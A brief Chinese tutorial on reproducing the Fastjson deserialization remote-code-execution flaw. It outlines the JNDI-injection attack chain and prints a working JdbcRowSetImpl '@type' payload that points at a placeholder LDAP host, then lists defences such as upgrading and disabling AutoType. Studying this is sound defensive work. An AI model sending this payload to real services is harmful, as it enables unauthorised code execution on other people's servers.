Fastjson反序列化RCE漏洞复现

写在前面：合法学习边界

Fastjson 攻击只在授权测试环境进行。

1
① 发现 Fastjson → ② AutoType 状态 → ③ JNDI 注入 → ④ 加载恶意类 → ⑤ RCE

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx/a","autoCommit":true}

1
2
升级到 Fastjson 1.2.68+ · 禁用 AutoType
设置 SecurityManager · WAF 拦截 @type

Fastjson 反序列化是 Java 反序列化最经典的 RCE 漏洞。升级到 1.2.68+ 并禁用 AutoType 是核心防御。